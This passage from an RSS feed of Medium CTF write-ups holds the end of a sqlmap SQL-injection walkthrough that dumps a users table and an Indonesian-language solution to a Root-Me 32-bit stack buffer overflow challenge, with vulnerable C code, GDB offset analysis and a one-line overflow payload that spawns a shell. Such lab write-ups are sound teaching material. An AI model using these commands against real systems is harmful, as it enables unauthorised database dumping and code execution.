--ignore-code=401 --batch -D korp_terminal --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*E-0MvDhCwgrHYqGgicGUrg.png" /></figure><pre>sqlmap -r req.txt --ignore-code=401 --batch -D korp_terminal -T users --dump</pre><p>From this get the password, login and get flag.</p><p>Happy Hacking…………</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51864a12e459" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up ELF x86 — Stack buffer overflow basic 1 (Rootme PWN Challenges)]]></title>
            <link>https://medium.com/@ganugrah233/write-up-elf-x86-stack-buffer-overflow-basic-1-rootme-pwn-challenges-b6c2991378f1?source=rss-85f60a9e73c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6c2991378f1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pwn]]></category>
            <dc:creator><![CDATA[Anugrah Gilang Ramadhan]]></dc:creator>
            <pubDate>Mon, 15 Jul 2024 16:09:57 GMT</pubDate>
            <atom:updated>2024-07-15T16:09:57.621Z</atom:updated>
            <content:encoded><![CDATA[<h3>Write Up ELF x86 — Stack buffer overflow basic 1 (Rootme PWN Challenges)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WXUwNzQfFi-TDDTD" /></figure><p>Halo gais, setelah lama author tidak membuat write up, akhirnya author memutuskan untuk membuat write up agar tidak menghilang terlalu lama nanti bisa sakit :). Setelah memainkan sebuah platform bernama RootMe author jadi ingin membuat write up playlist untuk PWN ( Binary Exploitation ) tapi sayangnya author juga sebenarnya skill issue, tapi untuk menguatkan daya ingat dan sebagai dokumentasi, author tetap memutuskan untuk membuatnya ( insyaallah ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTlkkywp5A-Wa4nsE3ocWw.png" /><figcaption>Main Halaman challenges</figcaption></figure><p>Challenges pada platform RootMe menggunakan SSH sangat disayangkan karena author terbiasa menjalankan di local dan final exploit baru remote, jadi debugging di remote server rasanya sedikit berat dibandingkan di local yang bisa gubrak gubrik sepuasnya hehe. Pada challenges kali ini author memainkan challenges yang ringan saja, yang penting kan ilmunya. Lanjut.., Disediakan source code dan binary file yang sudah di compile. Kemudian author langsung saja membuka source code nya dan berisi code berikut:</p><pre>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br> <br>int main()<br>{<br> <br>  int var;<br>  int check = 0x04030201;<br>  char buf[40];<br> <br>  fgets(buf,45,stdin);<br> <br>  printf(&quot;\n[buf]: %s\n&quot;, buf);<br>  printf(&quot;[check] %p\n&quot;, check);<br> <br>  if ((check != 0x04030201) &amp;&amp; (check != 0xdeadbeef))<br>    printf (&quot;\nYou are on the right way!\n&quot;);<br> <br>  if (check == 0xdeadbeef)<br>   {<br>     printf(&quot;Yeah dude! You win!\nOpening your shell...\n&quot;);<br>     setreuid(geteuid(), geteuid());<br>     system(&quot;/bin/bash&quot;);<br>     printf(&quot;Shell closed! Bye.\n&quot;);<br>   }<br>   return 0;<br>}</pre><p>Dari source code yang diberikan, karena author langsung tau bahwa ini adalah buffer overflow to variabel overwrite. Author bukan pesulap yang langsung bisa tau, dan bukan tuhan yang maha tau, alasannya adalah author melihat pada int buf[40] terlihat jelas bahwa disediakan array dengan kapasitas 40 untuk menampung inputan, tetapi pada fgets(buf,45,stdin); bukannya sudah terlihat? program bisa menerima inputan melebihi kapasitas array yang disediakan sehingga author bisa memanipulasi variabel yang lainnya. Sederhananya seperti misal cowo A ganteng banget sampe menuhin hati wanita A, eh wanita B ikut kena ( dasar buaya ). Oke lanjut……, kemudian author tau bahwa file ini di compile dengan sistem 32 bit, bisa dicek dengan file &lt;nama_file&gt; , namun pada saat melakukan ssh di platform ini sudah di sediakan di awal untuk checking program nya, seperti berikut:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9eKKf23Hfd2BfYuzjbvuQ.png" /><figcaption>Checksec And File Information</figcaption></figure><p>Lanjut, author kemudian melakukan debugging dengan GDB pada program, untungnya pada platform RootMe disedikan GDB dengan extensi yang lengkap yaitu PWNDBG, GEF dan PEDA, tetapi karena author sudah sangat nyaman dengan PWNDBG dan GEF maka author memilih salah satu yaitu PWNDBG. Author melakukan analisis untuk jumlah padding yang dibutuhkan untuk melakukan overwrite ke variabel check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*ufVd8g3gFqwyECSTxSYePQ.png" /><figcaption>cek fungsi binary</figcaption></figure><p>Saat cek fungsi, tidak ada fungsi menarik dan karena ini hanya challenges basic tidak munkin sampai melakukan ret2libc. Kemudian author mengecek pada fungsi main untuk melihat assembly program dan untuk melakukan debugging offset. Oke author jelaskan dikit, jadi offset dibutuhkan untuk kita bisa menghitung padding, padding itu jarak antara buffer sampai ke variabel tujuan atau apapun. Lanjut, author melakukan disassemble ( lompat ke fungsi ) main untuk melihat-lihat informasi yang berguna untuk exploitasi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MjTas-8qSHgMa4q5WfEExQ.png" /><figcaption>Disasemble Main</figcaption></figure><p>Berdasarkan analisis author yang kyowo, terlihat bahwa informasi offset untuk buffer dan variabel tujuan ditemukan yaitu $ebp-0x44 untuk buffer input dan $ebp-0x1c untuk variabel check. Apakah author hanya bergurau? tidak, itu bisa author buktikan dengan analisis berikut. Lihat pada gambar berikut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*qLE8L-oK6YvkBQb9QNM_zg.png" /><figcaption>Offset Buffer</figcaption></figure><p>Terlihat bahwa sebelum pemanggilan fungsi fgets terdapat lea ( ini perintah asm yang mirip seperti setup awal variabel ). Sehingga buffer memiliki offset $ebp-0x44. Kemudian coba lihat gambar berikut</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*IobcbHtcJZpWMsemYsQiIA.png" /><figcaption>Offset Variabel Check</figcaption></figure><p>Terdapat asm cmp, cmp artinya compare atau membandingkan, ini mirip seperti if jika dihubungkan dengan pemrograman, pada asm di atas membandingkan $ebp-0x1c dengan 0xdeadbeef yang merupakan target hexa yang harus kita overwrite pada variabel check. Ini membuktikan bahwa $ebp-0x1c berisi value yang ada pada variabel check. Dari sini author melakukan substract untuk menentukan padding yaitu 0x44–0x1c sehingga padding untuk melakukan overwrite adalah 40. Ini hanya cara cepat jika sudah mengetahui tekniknya, namun author tetap jelaskan bagaimana bisa 40 dengan debugging gdb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*mH9dNyPLwh4CnSGPCQSMtw.png" /><figcaption>break pada fungsi main</figcaption></figure><p>Pertama author melakukan perintah breakpoint pada main+142, ya benar main+142 merupakan perintah yang menunjuk ke cmp tempat membandingkan variabel check dengan 0xdeadbeef tadi. Kemudian author run program nya dan input ‘AA’ untuk melihat hasil debugging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2oqsIkbEhpt0T23Lzy93g.png" /><figcaption>Debugging Dengan Breakpoint Pada Main+142</figcaption></figure><p>Seperti yang dapat dilihat, bahwa perintah berakhir di cmp yaitu main+142, kemudian author melakukan pengecekan ke esp. Esp merupakan top stack dari fungsi yang dijalankan, sedangkan ebp merupakan base pointer, singkatnya esp ada di paling atas stack dan ebp ada di paling bawah. Kemudian author melakukan perintah x/100wx $esp. Jangan bingung author akan jelaskan arti command nya dahulu baru lanjut debugging biar pembaca tidak kebingungan.</p><ul><li><strong>x</strong>: Ini adalah singkatan dari “examine”. Perintah ini digunakan untuk menampilkan isi memori di GDB.</li><li><strong>/100wx</strong>: Ini adalah format string yang menentukan bagaimana dan berapa banyak memori yang akan ditampilkan.</li><li>100: Menunjukkan jumlah unit memori yang akan ditampilkan (100 dalam hal ini).</li><li>w: Menunjukkan ukuran unit memori yang akan ditampilkan. w berarti &quot;word&quot;, yang biasanya 4 byte pada sistem 32-bit.</li><li>x: Menunjukkan format tampilan. x berarti &quot;hexadecimal&quot; atau format heksadesimal.</li><li><strong>$esp</strong>: Ini adalah register yang menunjukkan lokasi stack pointer pada arsitektur x86. Stack pointer (esp) menunjukkan alamat dari bagian atas tumpukan (stack) saat ini dalam memori.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BZhY8CrGyjo264uL25FTA.png" /><figcaption>Hasil x/100wx $esp</figcaption></figure><p>Sedikit author jelaskan bahwa pada setiap satu block kumpulan hexa di atas berisi 4 byte ( karena merepsentasikan 32 bit ). Buffer dimulai dari hexa 0x41/41 yang merepresentasikan karakter A, kemudian target nya adalah pada block yang berisi 0x04030201 sesuai dengan isi dari variabel check. Sehingga jika dihitung maka satu block bisa berisi 4 karakter, sampai ke sebelum target itu ada 10 block, sehingga total 40 karakter harus diinput memenuhi padding, sisanya kita isikan dengan target yang diharuskan program yaitu 0xdeadbeef . Baik karena seluruh informasi sudah dikumpulkan saatnya author melakukan exploitasi dengan satu line command perintah saja yaitu cat &lt;(python -c ‘print “A”*40 + “\xef\xbe\xad\xde”’) — | ./ch13. Kemudian ketika dijalankan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*igOBVk-Tyw6WD0Wq11SZMQ.png" /><figcaption>hasil Exploit</figcaption></figure><p>Exploitasi yang dilakukan author berhasil dan author sangat senang…</p><p>감사합니다 (Kamsahamnida)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6c2991378f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>